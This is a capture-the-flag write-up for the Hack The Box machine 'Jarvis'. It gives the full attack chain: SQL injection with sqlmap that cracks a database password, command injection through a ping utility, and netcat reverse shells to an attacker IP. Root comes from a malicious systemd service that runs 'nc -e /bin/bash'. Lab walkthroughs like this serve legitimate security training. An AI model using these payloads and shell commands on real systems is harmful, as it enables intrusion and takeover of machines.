Hack The Box Write Up - Jarvis

Hacker Orientation

This box was so much fun!

SQLi with a dash of custom exploitation.

OS: 	Linux
Difficulty: 	Medium
Points: 	30
Release: 	22 Jun 2019
IP: 	10.10.10.143

nmap:

# Nmap 7.70 scan initiated Sat Sep  7 15:47:04 2019 as: nmap -p- -sV -o nmap_sv_p.out 10.10.10.143
Nmap scan report for 10.10.10.143
Host is up (0.065s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep  7 15:51:20 2019 -- 1 IP address (1 host up) scanned in 256.25 seconds

Breaking it down

Nothing obvious on port 80, but at least there’s a thematic homepage

High port scan led me to :64999. Visiting it over http it dumped this:
Hey you have been banned for 90 seconds, don't be bad

Cheeky. Turns out this is the block page lol.

Dirbuster found /phpmyadmin/index.php which was interesting, but nothing immediately actionable.

Back to browsing on the site on 80, I noticed a query parameter when viewing the room options: http://10.10.10.143/room.php?cod=1

Injection Time!

Remember that block page? You’d get redirected (blocked) there if you tried using sqlmap without any options.

After a lot of tuning, this worked for me:

--> # sqlmap -u http://10.10.10.143/room.php?cod=1 --random-agent --level=4 --tamper=space2comment --dbms=MySQL -D mysql --passwords

        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.3.8#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:18:47 /2019-09-19/

[00:18:47] [INFO] loading tamper module 'space2comment'
[00:18:47] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[00:18:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 8870=8870

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cod=1 AND (SELECT 1172 FROM (SELECT(SLEEP(5)))fYZA)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 7 columns
    Payload: cod=-1255 UNION ALL SELECT CONCAT(0x7178766a71,0x50636b69526c466873454c745a714178524e6b444364796463547a686e67766d6c496b547a4b624d,0x7162627171),NULL,NULL,NULL,NULL,NULL,NULL#
---
[00:18:48] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[00:18:48] [INFO] testing MySQL
[00:18:48] [INFO] confirming MySQL
[00:18:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[00:18:48] [INFO] fetching database users password hashes
[00:18:48] [INFO] used SQL query returns 1 entry
[00:18:48] [INFO] used SQL query returns 1 entry
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[00:18:54] [INFO] writing hashes to a temporary file '/tmp/sqlmap4lL5YT1527/sqlmaphashes-imWTAZ.txt' 
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y
[00:18:57] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
[00:18:59] [INFO] using default dictionary
[00:19:03] [INFO] starting dictionary-based cracking (mysql_passwd)
[00:19:03] [INFO] starting 2 processes 
[00:19:09] [INFO] cracked password 'imissyou' for user 'DBadmin'                                                                                                                                             
database management system users password hashes:                                                                                                                                                            
[*] DBadmin [1]:
    password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
    clear-text password: imissyou

[00:19:21] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143'

[*] ending @ 00:19:21 /2019-09-09/

Shells

I found two ways to get a shell:

1) sqlmap’s --os-shell flag

sqlmap -u http://10.10.10.143/room.php?cod=1 --random-agent --level=4 --tamper=space2comment --dbms=MySQL --os-shell

2) MSF (multi/http/phpmyadmin_lfi_rce)

I preferred the MSF method. It felt less “noisy” and got the job done.

Looking around

What users are on the box?

os-shell> cat /etc/passwd
do you want to retrieve the command standard output? [Y/n/a] a
command standard output:
---
...snip...
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
...snip...
---

pepper user, huh?

Let’s see what we can run with sudo

os-shell> sudo -l
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
---

Hmmmm. Let’s give it a shot!

sudo -u pepper -S /var/www/Admin-Utilities/simpler.py -p

***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************


********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP

Stats

Statistics
-----------
Number of Attackers: 7
Most Risky:
More than 1 ip found
    10.10.14.254 - Attack Level : 4 Request: : GET /tmpbebed.php?cmd=nc%2010.10.14.254%20-e%20%2Fbin%2Fbash
    10.10.15.224 - Attack Level : 4 Request: : GET /room.php?cod=2%20OR%203
    10.10.15.2 - Attack Level : 4 Request: : GET /room.php?cod=1
    10.10.14.76 - Attack Level : 4 Request: : GET /room.php?cod=3
    10.10.14.179 - Attack Level : 4 Request: : GET /tmpbthnl.php?cmd=pwd
Most Recent: 10.10.14.234 --> 2019-09-11 16:30:01 : GET /js/respond.min.js?query=query%22%26cat+%2Fetc%2Fpasswd%26%22

List

Attackers
-----------
10.10.14.254 - Attack Level : 4
10.10.15.224 - Attack Level : 4
10.10.15.2 - Attack Level : 4
10.10.15.70 - Attack Level : 3
10.10.14.234 - Attack Level : 3
10.10.14.76 - Attack Level : 4
10.10.14.179 - Attack Level : 4

Ping works as expected

Enter an IP: 10.10.14.90
PING 10.10.14.90 (10.10.14.90) 56(84) bytes of data.
64 bytes from 10.10.14.90: icmp_seq=1 ttl=63 time=67.2 ms
64 bytes from 10.10.14.90: icmp_seq=2 ttl=63 time=236 ms
...

Code Analysis

Crack open the code and look at exec_ping()

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

Looks like we can get append our own command to the end of ping!

There’s a filter in the forbidden array, so we need to be crafty..

The first exploit

1) Prep a reverse shell: echo "/bin/nc 10.10.14.32 6969 -e /bin/bash" > /tmp/.ab

2) Open a nc shell on your box: nc -lvp 6969

3) Back on Jarvis, pass in $(/tmp/.ab) to simpler.py -p

Got a shell thanks to command encapsulation! I opted for a more stable by adding my attacker ssh key to authorized keys.

Grabbed the user flag, then ran LinEnum.sh.

Set owner User ID up on execution

Notice the SUID section.

pepper can run systemctl!

[-] SUID files:
...snip...

-rwsr-x--- 1 root pepper 174520 Feb 17  2019 /bin/systemctl

...snip...

-rwsr-s--- 1 pepper pepper 174520 Sep 13 01:10 /home/pepper/systemctl

...snip...

Custom PrivEsc

1) Make a custom service

pepper@jarvis:~$ cat /tmp/.cd.service 

[Unit]
Description=connection
After=network.target

[Service]
Type=simple
ExecStart=/bin/nc 10.10.14.32 6970 -e /bin/bash
Restart=always
RestartSec=5s

[Install]
WantedBy=default.target

2) Start listener locally with nc -lvp 6970

3) Enable and start the service

systemctl enable /tmp/.cd.service
systemctl start .cd.service

4) Go back to the listening shell, and get that root flag!

Closing thoughts

Nothing too crazy, but this box played pretty well with my skill set.

Haven’t had that much fun in a while 😬

Shout out to manulqwerty & Ghostpp7!